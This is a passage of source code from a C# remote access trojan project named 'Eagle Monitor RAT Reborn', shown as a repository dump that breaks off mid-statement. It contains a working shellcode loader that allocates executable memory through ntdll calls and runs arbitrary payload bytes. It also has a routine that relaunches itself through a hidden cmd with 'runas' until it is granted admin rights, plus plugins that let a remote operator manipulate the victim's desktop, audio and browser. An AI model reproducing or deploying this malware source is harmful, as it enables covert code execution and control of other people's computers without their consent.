[assembly: Guid("0607e970-cc93-4a2a-83ca-53b9d537c96e")] // Les informations de version pour un assembly se composent des quatre valeurs suivantes : // // Version principale // Version secondaire // Numéro de build // Révision // // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("3.2.4.0")] [assembly: AssemblyFileVersion("3.2.4.0")] ================================================ FILE: Remote Access Tool/Plugins/MemoryExecution/ShellCode.cs ================================================ using System; using System.Runtime.InteropServices; using System.Threading; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { public class ShellCode { internal static void RunShellCode(byte[] shellCode) { new Thread(() => { new ShellCode(shellCode).NTDelegates(); }).Start(); } private byte[] shellCode { get; set; } private IntPtr ptr; private uint RegionSize; public ShellCode(byte[] shellCode) { this.shellCode = shellCode; this.RegionSize = (uint)shellCode.Length; this.ptr = IntPtr.Zero; } internal const String NTDLL = "ntdll.dll"; internal const String KERNEL32 = "kernel32.dll"; [DllImport(KERNEL32)] public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport(KERNEL32)] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport(KERNEL32)] public static extern IntPtr GetCurrentProcess(); [Flags] internal enum TypeAlloc : uint { MEM_COMMIT = 0x00001000, MEM_RESERVE = 0x00002000, MEM_RESET = 0x00080000, MEM_RESET_UNDO = 0x1000000, MEM_LARGE_PAGES = 0x20000000, MEM_PHYSICAL = 0x00400000, MEM_TOP_DOWN = 0x00100000, MEM_WRITE_WATCH = 0x00200000 } [Flags] internal enum FreeType : uint { MEM_DECOMMIT = 0x00004000, MEM_RELEASE = 0x00008000, MEM_COALESCE_PLACEHOLDERS = 0x00000001, MEM_PRESERVE_PLACEHOLDER = 0x00000002 } [Flags] internal enum PageProtection : uint { PAGE_EXECUTE = 0x10, PAGE_EXECUTE_READ = 0x20, PAGE_EXECUTE_READWRITE = 0x40, PAGE_EXECUTE_WRITECOPY = 0x80, PAGE_NOACCESS = 0x01, PAGE_READONLY = 0x02, PAGE_READWRITE = 0x04, PAGE_WRITECOPY = 0x08, PAGE_TARGETS_INVALID = 0x40000000, PAGE_TARGETS_NO_UPDATE = 0x40000000, PAGE_GUARD = 0x100, PAGE_NOCACHE = 0x200, PAGE_WRITECOMBINE = 0x400 } internal static class Delegates { [UnmanagedFunctionPointer(CallingConvention.StdCall)] internal delegate void ShellCodeCaller(); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate uint NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref uint RegionSize, TypeAlloc AllocationType, PageProtection Protect); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate uint NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, byte[] buffer, UIntPtr bufferSize, out UIntPtr written); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate uint NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref uint numberOfBytes, PageProtection newProtect, ref PageProtection oldProtect); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate uint NtFreeVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref uint RegionSize, FreeType FreeType); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate IntPtr VirtualAlloc(IntPtr address, IntPtr numBytes, TypeAlloc commitOrReserve, PageProtection pageProtectionMode); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate IntPtr VirtualFree(IntPtr lpAddress, uint dwSize, FreeType FreeType); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate bool VirtualProtect(IntPtr lpAddress, uint dwSize, PageProtection flNewProtect, out PageProtection lpflOldProtect); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UIntPtr nSize, out UIntPtr lpNumberOfBytesWritten); } private void NTDelegates() { IntPtr ExportedNtAllocateVirtualMemory = GetProcAddress(GetModuleHandle(NTDLL), "NtAllocateVirtualMemory"); Delegates.NtAllocateVirtualMemory NtAllocateVirtualMemory = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(ExportedNtAllocateVirtualMemory, typeof(Delegates.NtAllocateVirtualMemory)); NtAllocateVirtualMemory(GetCurrentProcess(), ref ptr, IntPtr.Zero, ref RegionSize, TypeAlloc.MEM_COMMIT | TypeAlloc.MEM_RESERVE, PageProtection.PAGE_EXECUTE_READWRITE); UIntPtr bytesWritten; IntPtr ExportedNtWriteVirtualMemory = GetProcAddress(GetModuleHandle(NTDLL), "NtWriteVirtualMemory"); Delegates.NtWriteVirtualMemory NtWriteVirtualMemory = (Delegates.NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(ExportedNtWriteVirtualMemory, typeof(Delegates.NtWriteVirtualMemory)); NtWriteVirtualMemory(GetCurrentProcess(), ptr, this.shellCode, (UIntPtr)this.shellCode.Length, out bytesWritten); PageProtection flOld = new PageProtection(); IntPtr ExportedNtProtectVirtualMemory = GetProcAddress(GetModuleHandle(NTDLL), "NtProtectVirtualMemory"); Delegates.NtProtectVirtualMemory NtProtectVirtualMemory = (Delegates.NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(ExportedNtProtectVirtualMemory, typeof(Delegates.NtProtectVirtualMemory)); NtProtectVirtualMemory(GetCurrentProcess(), ref ptr, ref RegionSize, PageProtection.PAGE_EXECUTE_READ, ref flOld); Delegates.ShellCodeCaller load = (Delegates.ShellCodeCaller)Marshal.GetDelegateForFunctionPointer(ptr, typeof(Delegates.ShellCodeCaller)); load(); IntPtr ExportedNtFreeVirtualMemory = GetProcAddress(GetModuleHandle(NTDLL), "NtFreeVirtualMemory"); Delegates.NtFreeVirtualMemory NtFreeVirtualMemory = (Delegates.NtFreeVirtualMemory)Marshal.GetDelegateForFunctionPointer(ExportedNtFreeVirtualMemory, typeof(Delegates.NtFreeVirtualMemory)); NtFreeVirtualMemory(GetCurrentProcess(), ref ptr, ref RegionSize, FreeType.MEM_RELEASE); } } } ================================================ FILE: Remote Access Tool/Plugins/MemoryExecution/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/MemoryExecution/obj/Debug/MemoryExecution.csproj.CoreCompileInputs.cache ================================================ caddf2a39a39efb6b5bbfa5057930ad3de188494 ================================================ FILE: Remote Access Tool/Plugins/MemoryExecution/obj/Debug/MemoryExecution.csproj.FileListAbsolute.txt ================================================ F:\Personal\DesyncOps\Remote Access Tool\bin\Debug\Plugins\MemoryExecution.dll F:\Personal\DesyncOps\Remote Access Tool\Plugins\MemoryExecution\obj\Debug\MemoryExecution.csproj.AssemblyReference.cache F:\Personal\DesyncOps\Remote Access Tool\Plugins\MemoryExecution\obj\Debug\MemoryExecution.csproj.CoreCompileInputs.cache F:\Personal\DesyncOps\Remote Access Tool\Plugins\MemoryExecution\obj\Debug\MemoryExecution.dll F:\Personal\DesyncOps\Remote Access Tool\Plugins\MemoryExecution\obj\Debug\MemoryExecution.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\DesyncOps\Remote Access Tool\bin\Debug\Plugins\MemoryExecution.dll E:\личный\программирование\C#\DesyncOps\Remote Access Tool\Plugins\MemoryExecution\obj\Debug\MemoryExecution.csproj.AssemblyReference.cache E:\личный\программирование\C#\DesyncOps\Remote Access Tool\Plugins\MemoryExecution\obj\Debug\MemoryExecution.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\DesyncOps\Remote Access Tool\Plugins\MemoryExecution\obj\Debug\MemoryExecution.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\DesyncOps\Remote Access Tool\Plugins\MemoryExecution\obj\Debug\MemoryExecution.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\MemoryExecution.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\MemoryExecution\obj\Debug\MemoryExecution.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\MemoryExecution\obj\Debug\MemoryExecution.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\MemoryExecution\obj\Debug\MemoryExecution.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\MemoryExecution\obj\Debug\MemoryExecution.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\MemoryExecution.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\MemoryExecution\obj\Debug\MemoryExecution.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\MemoryExecution\obj\Debug\MemoryExecution.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\MemoryExecution\obj\Debug\MemoryExecution.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\MemoryExecution\obj\Debug\MemoryExecution.dll ================================================ FILE: Remote Access Tool/Plugins/MemoryExecution/obj/Debug/MemoryExecution.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/MemoryExecution/obj/Debug/build.force ================================================ ================================================ FILE: Remote Access Tool/Plugins/MemoryExecution/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.csproj.CoreCompileInputs.cache ================================================ 5466ec8897c23314c966885ddb78fdf06b4ec5ac ================================================ FILE: Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.csproj.FileListAbsolute.txt ================================================ D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\MemoryExecution.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\MemoryExecution\obj\Release\MemoryExecution.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\MemoryExecution\obj\Release\MemoryExecution.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\MemoryExecution\obj\Release\MemoryExecution.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\MemoryExecution\obj\Release\MemoryExecution.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\MemoryExecution.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\MemoryExecution\obj\Release\MemoryExecution.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\MemoryExecution\obj\Release\MemoryExecution.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\MemoryExecution\obj\Release\MemoryExecution.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\MemoryExecution\obj\Release\MemoryExecution.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\MemoryExecution\obj\Release\MemoryExecution.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\bin\Release\Plugins\MemoryExecution.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\MemoryExecution\obj\Release\MemoryExecution.csproj.AssemblyReference.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\MemoryExecution\obj\Release\MemoryExecution.csproj.CoreCompileInputs.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\MemoryExecution\obj\Release\MemoryExecution.csproj.CopyComplete C:\Eagle Monitor RAT Reborn\bin\Release\Plugins\MemoryExecution.dll C:\Eagle Monitor RAT Reborn\Plugins\MemoryExecution\obj\Release\MemoryExecution.csproj.AssemblyReference.cache C:\Eagle Monitor RAT Reborn\Plugins\MemoryExecution\obj\Release\MemoryExecution.csproj.CoreCompileInputs.cache C:\Eagle Monitor RAT Reborn\Plugins\MemoryExecution\obj\Release\MemoryExecution.csproj.CopyComplete C:\Eagle Monitor RAT Reborn\Plugins\MemoryExecution\obj\Release\MemoryExecution.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\MemoryExecution.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\MemoryExecution\obj\Release\MemoryExecution.csproj.AssemblyReference.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\MemoryExecution\obj\Release\MemoryExecution.csproj.CoreCompileInputs.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\MemoryExecution\obj\Release\MemoryExecution.csproj.CopyComplete C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\MemoryExecution\obj\Release\MemoryExecution.dll F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\MemoryExecution.dll F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\MemoryExecution\obj\Release\MemoryExecution.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\MemoryExecution\obj\Release\MemoryExecution.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\MemoryExecution\obj\Release\MemoryExecution.csproj.CopyComplete F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\MemoryExecution\obj\Release\MemoryExecution.dll E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\MemoryExecution.dll E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\MemoryExecution\obj\Release\MemoryExecution.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\MemoryExecution\obj\Release\MemoryExecution.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\MemoryExecution\obj\Release\MemoryExecution.csproj.CopyComplete E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\MemoryExecution\obj\Release\MemoryExecution.dll ================================================ FILE: Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/MemoryExecution/obj/Release/_IsIncrementalBuild ================================================ obj\Release\\_IsIncrementalBuild ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/Admin.cs ================================================ using System.Diagnostics; using System.Security.Principal; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || || Code coming from AsyncRAT || */ namespace Plugin { internal static class Admin { internal static void AskAdminRight() { if (IsAdmin()) return; try { Process proc = new Process { StartInfo = new ProcessStartInfo { FileName = "cmd", Arguments = "/k START \"\" \"" + Application.ExecutablePath + "\" & EXIT", WindowStyle = ProcessWindowStyle.Hidden, Verb = "runas", UseShellExecute = true } }; proc.Start(); Imports.NtTerminateProcess(Process.GetCurrentProcess().Handle, 0); } catch { AskAdminRight(); } } private static bool IsAdmin() { return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); } } } ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/Audio.cs ================================================ using System.Windows.Forms; using static Plugin.Imports; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class Audio { private static Form formNeeded; static Audio() { formNeeded = new Form(); } internal static void IncreaseVolume() { SendMessage(formNeeded.Handle, WM_APPCOMMAND, formNeeded.Handle, APPCOMMAND_VOLUME_UP); } internal static void DecreaseVolume() { SendMessage(formNeeded.Handle, WM_APPCOMMAND, formNeeded.Handle, APPCOMMAND_VOLUME_DOWN); } } } ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/FodyWeavers.xml ================================================  ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/FodyWeavers.xsd ================================================  A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. A list of unmanaged 32 bit assembly names to include, delimited with line breaks. A list of unmanaged 64 bit assembly names to include, delimited with line breaks. The order of preloaded assemblies, delimited with line breaks. This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. Controls if .pdbs for reference assemblies are also embedded. Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. A list of unmanaged 32 bit assembly names to include, delimited with |. A list of unmanaged 64 bit assembly names to include, delimited with |. The order of preloaded assemblies, delimited with |. 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. A comma-separated list of error codes that can be safely ignored in assembly verification. 'false' to turn off automatic generation of the XML Schema file. ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/Imports.cs ================================================ using System; using System.Runtime.InteropServices; /* || AUTHOR Arsium || || github : https://github.com/arsium || || Inspiration : inferno from LimerBoy : https://github.com/arsium/Inferno || */ namespace Plugin { internal static class Imports { #region "ntdll" private const string ntdll = "ntdll.dll"; [DllImport(ntdll)] internal static extern uint NtTerminateProcess(IntPtr hProcess, int errorStatus); #endregion #region "user32" private const string user32 = "user32.dll"; internal const int APPCOMMAND_VOLUME_MUTE = 0x80000; internal const int APPCOMMAND_VOLUME_DOWN = 0x90000; internal const int APPCOMMAND_VOLUME_UP = 0xA0000; internal const int WM_APPCOMMAND = 0x319; internal const uint SPI_SETDESKWALLPAPER = 0x14; internal const uint SPIF_UPDATEINIFILE = 0x01; internal const uint SPIF_SENDWININICHANGE = 0x02; internal const int SW_HIDE = 0x0; internal const int SW_NORMAL = 0x1; internal const int SW_SHOW = 0x5; internal const int DMDO_DEFAULT = 0; internal const int DMDO_90 = 1; internal const int DMDO_180 = 2; internal const int DMDO_270 = 3; internal const int ENUM_CURRENT_SETTINGS = -1; internal enum Orientations { DEGREES_CW_0 = 0, DEGREES_CW_90 = 3, DEGREES_CW_180 = 2, DEGREES_CW_270 = 1 } [StructLayout(LayoutKind.Explicit, CharSet = CharSet.Ansi)] internal struct DEVMODE { internal const int CCHDEVICENAME = 32; internal const int CCHFORMNAME = 32; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = CCHDEVICENAME)] [FieldOffset(0)] internal string dmDeviceName; [FieldOffset(32)] internal Int16 dmSpecVersion; [FieldOffset(34)] internal Int16 dmDriverVersion; [FieldOffset(36)] internal Int16 dmSize; [FieldOffset(38)] internal Int16 dmDriverExtra; [FieldOffset(40)] internal DM dmFields; [FieldOffset(44)] private Int16 dmOrientation; [FieldOffset(46)] private Int16 dmPaperSize; [FieldOffset(48)] private Int16 dmPaperLength; [FieldOffset(50)] private Int16 dmPaperWidth; [FieldOffset(52)] private Int16 dmScale; [FieldOffset(54)] private Int16 dmCopies; [FieldOffset(56)] private Int16 dmDefaultSource; [FieldOffset(58)] private Int16 dmPrintQuality; [FieldOffset(44)] internal POINTL dmPosition; [FieldOffset(52)] internal Int32 dmDisplayOrientation; [FieldOffset(56)] internal Int32 dmDisplayFixedOutput; [FieldOffset(60)] internal short dmColor; [FieldOffset(62)] internal short dmDuplex; [FieldOffset(64)] internal short dmYResolution; [FieldOffset(66)] internal short dmTTOption; [FieldOffset(68)] internal short dmCollate; [FieldOffset(72)] [MarshalAs(UnmanagedType.ByValTStr, SizeConst = CCHFORMNAME)] internal string dmFormName; [FieldOffset(102)] internal Int16 dmLogPixels; [FieldOffset(104)] internal Int32 dmBitsPerPel; [FieldOffset(108)] internal Int32 dmPelsWidth; [FieldOffset(112)] internal Int32 dmPelsHeight; [FieldOffset(116)] internal Int32 dmDisplayFlags; [FieldOffset(116)] internal Int32 dmNup; [FieldOffset(120)] internal Int32 dmDisplayFrequency; } // See: https://msdn.microsoft.com/en-us/library/windows/desktop/dd183569(v=vs.85).aspx [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)] internal struct DISPLAY_DEVICE { [MarshalAs(UnmanagedType.U4)] internal int cb; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 32)] internal string DeviceName; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] internal string DeviceString; [MarshalAs(UnmanagedType.U4)] internal DisplayDeviceStateFlags StateFlags; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] internal string DeviceID; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] internal string DeviceKey; } // See: https://msdn.microsoft.com/de-de/library/windows/desktop/dd162807(v=vs.85).aspx [StructLayout(LayoutKind.Sequential)] internal struct POINTL { private long x; private long y; } internal enum DISP_CHANGE : int { Successful = 0, Restart = 1, Failed = -1, BadMode = -2, NotUpdated = -3, BadFlags = -4, BadParam = -5, BadDualView = -6 } // http://www.pinvoke.net/default.aspx/Enums/DisplayDeviceStateFlags.html [Flags()] internal enum DisplayDeviceStateFlags : int { /// The device is part of the desktop. AttachedToDesktop = 0x1, MultiDriver = 0x2, /// The device is part of the desktop. PrimaryDevice = 0x4, /// Represents a pseudo device used to mirror application drawing for remoting or other purposes. MirroringDriver = 0x8, /// The device is VGA compatible. VGACompatible = 0x10, /// The device is removable; it cannot be the primary display. Removable = 0x20, /// The device has more display modes than its output devices support. ModesPruned = 0x8000000, Remote = 0x4000000, Disconnect = 0x2000000 } // http://www.pinvoke.net/default.aspx/user32/ChangeDisplaySettingsFlags.html [Flags()] internal enum DisplaySettingsFlags : int { CDS_NONE = 0, CDS_UPDATEREGISTRY = 0x1, CDS_TEST = 0x2, CDS_FULLSCREEN = 0x4, CDS_GLOBAL = 0x8, CDS_SET_PRIMARY = 0x10, CDS_VIDEOPARAMETERS = 0x20, CDS_ENABLE_UNSAFE_MODES = 0x100, CDS_DISABLE_UNSAFE_MODES = 0x200, CDS_RESET = 0x40000000, CDS_RESET_EX = 0x20000000, CDS_NORESET = 0x10000000 } [Flags()] internal enum DM : int { Orientation = 0x1, PaperSize = 0x2, PaperLength = 0x4, PaperWidth = 0x8, Scale = 0x10, Position = 0x20, NUP = 0x40, DisplayOrientation = 0x80, Copies = 0x100, DefaultSource = 0x200, PrintQuality = 0x400, Color = 0x800, Duplex = 0x1000, YResolution = 0x2000, TTOption = 0x4000, Collate = 0x8000, FormName = 0x10000, LogPixels = 0x20000, BitsPerPixel = 0x40000, PelsWidth = 0x80000, PelsHeight = 0x100000, DisplayFlags = 0x200000, DisplayFrequency = 0x400000, ICMMethod = 0x800000, ICMIntent = 0x1000000, MediaType = 0x2000000, DitherType = 0x4000000, PanningWidth = 0x8000000, PanningHeight = 0x10000000, DisplayFixedOutput = 0x20000000 } [DllImport(user32)] internal static extern uint SystemParametersInfo(uint action, uint uParam, string vParam, uint winIni); [DllImport(user32)] internal static extern IntPtr SendMessage(IntPtr hWnd, int Msg, IntPtr wParam, int lParam); [DllImport(user32)] internal static extern IntPtr FindWindow(string lpClassName, string lpWindowName); [DllImport(user32)] internal static extern bool ShowWindow(IntPtr hwnd, int nCmdShow); [DllImport(user32)] internal static extern IntPtr FindWindowEx(IntPtr parentHandle, IntPtr childAfter, string lclassName, string windowTitle); [DllImport(user32)] internal extern static DISP_CHANGE ChangeDisplaySettingsEx(string lpszDeviceName, ref DEVMODE lpDevMode, IntPtr hwnd, DisplaySettingsFlags dwflags, IntPtr lParam); [DllImport(user32)] internal extern static bool EnumDisplayDevices(string lpDevice, uint iDevNum, ref DISPLAY_DEVICE lpDisplayDevice, uint dwFlags); [DllImport(user32)] internal extern static int EnumDisplaySettings(string lpszDeviceName, int iModeNum, ref DEVMODE lpDevMode); #endregion } } ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/Launch.cs ================================================ using PacketLib; using PacketLib.Packet; using PacketLib.Utils; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { public static class Launch { public static void Main(LoadingAPI loadingAPI) { switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.MISC_AUDIO_UP: Audio.IncreaseVolume(); break; case PacketType.MISC_AUDIO_DOWN: Audio.DecreaseVolume(); break; case PacketType.MISC_HIDE_TASKBAR: UI.HideTaskBar(); break; case PacketType.MISC_SHOW_TASKBAR: UI.ShowTaskBar(); break; case PacketType.MISC_SET_WALLPAPER: WallPaperPacket wallPaperPacket = (WallPaperPacket)loadingAPI.CurrentPacket; UI.SetWallpaper(Compressor.QuickLZ.Decompress(wallPaperPacket.wallpaper), wallPaperPacket.ext); break; case PacketType.MISC_HIDE_DESKTOP_ICONS: UI.HideDesktopIcons(); break; case PacketType.MISC_SHOW_DESKTOP_ICONS: UI.ShowDesktopIcons(); break; case PacketType.MISC_SCREEN_ROTATION: ScreenRotationPacket screenRotationPacket = (ScreenRotationPacket)loadingAPI.CurrentPacket; ScreenRotation.Rotate(screenRotationPacket.degrees); break; case PacketType.MISC_ASK_ADMIN_RIGHTS: Admin.AskAdminRight(); break; case PacketType.MISC_OPEN_WEBSITE_LINK: Link.OpenLink(((OpenUrlPacket)loadingAPI.CurrentPacket).url); break; default: return; } Miscellaneous.CleanMemory(); } } } ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/Link.cs ================================================ using System.Diagnostics; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal static class Link { internal static void OpenLink(string url) { Process.Start(url); } } } ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/Miscellaneous.csproj ================================================  Debug AnyCPU {EAEC4642-636D-4312-8903-D70157A8E91C} Library Properties Plugin Miscellaneous v4.5 512 true false none false ..\..\bin\Debug\Plugins\ DEBUG;TRACE prompt 4 none true ..\..\bin\Release\Plugins\ TRACE prompt 4 ..\..\..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll {81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff} PacketLib ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // Les informations générales relatives à un assembly dépendent de // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations // associées à un assembly. [assembly: AssemblyTitle("Miscellaneous")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Miscellaneous")] [assembly: AssemblyCopyright("Arsium © 2022")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de // COM, affectez la valeur true à l'attribut ComVisible sur ce type. [assembly: ComVisible(false)] // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM [assembly: Guid("eaec4642-636d-4312-8903-d70157a8e91c")] // Les informations de version pour un assembly se composent des quatre valeurs suivantes : // // Version principale // Version secondaire // Numéro de build // Révision // // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("3.2.4.0")] [assembly: AssemblyFileVersion("3.2.4.0")] ================================================ FILE: Remote Access Tool/Plugins/Miscellaneous/ScreenRotation.cs ================================================ using System; using System.Runtime.InteropServices; using static Plugin.Imports; /* || AUTHOR Arsium || || github : https://github.com/arsium || || Inspiration : inferno from LimerBoy : https://github.com/arsium/Inferno || */ namespace Plugin { internal class ScreenRotation { private static bool RotateScreen(uint DisplayNumber, Orientations Orientation) { if (DisplayNumber == 0) { throw new ArgumentOutOfRangeException("DisplayNumber", DisplayNumber, "First display is 1."); } bool result = false; DISPLAY_DEVICE d = new DISPLAY_DEVICE(); DEVMODE dm = new DEVMODE(); d.cb = Marshal.SizeOf(d); if (!Imports.EnumDisplayDevices(null, DisplayNumber - 1, ref d, 0)) { throw new ArgumentOutOfRangeException("DisplayNumber", DisplayNumber, "Number is greater than connected displays."); } if (0 != Imports.EnumDisplaySettings(d.DeviceName, Imports.ENUM_CURRENT_SETTINGS, ref dm)) { if ((dm.dmDisplayOrientation + Convert.ToInt32(Orientation)) % 2 == 1) // Need to swap height and width? { int temp = dm.dmPelsHeight; dm.dmPelsHeight = dm.dmPelsWidth; dm.dmPelsWidth = temp; } switch (Orientation) { case Orientations.DEGREES_CW_90: dm.dmDisplayOrientation = Imports.DMDO_270; break; case Orientations.DEGREES_CW_180: dm.dmDisplayOrientation = Imports.DMDO_180; break; case Orientations.DEGREES_CW_270: dm.dmDisplayOrientation = Imports.DMDO_90; break; case Orientations.DEGREES_CW_0: dm.dmDisplayOrientation = Imports.DMDO_DEFAULT; break; default: break; } DISP_CHANGE ret = Imports.ChangeDisplaySettingsEx(d.DeviceName, ref dm, 